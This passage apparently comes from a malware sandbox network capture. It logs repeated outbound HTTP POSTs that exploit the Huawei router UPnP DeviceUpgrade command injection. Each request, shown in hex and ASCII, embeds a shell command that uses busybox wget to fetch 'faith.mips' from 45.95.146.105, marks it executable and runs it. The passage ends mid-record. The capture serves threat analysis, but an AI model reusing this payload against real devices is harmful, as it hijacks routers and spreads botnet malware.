Dec 30, 2023 07:16:43.473732948 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:47.249279976 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:54.672167063 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:17:09.262201071 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.23	40894	94.123.56.139	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:16:40.376533031 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:41.874022961 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:43.633747101 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:47.249255896 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:54.416196108 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:17:08.494262934 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 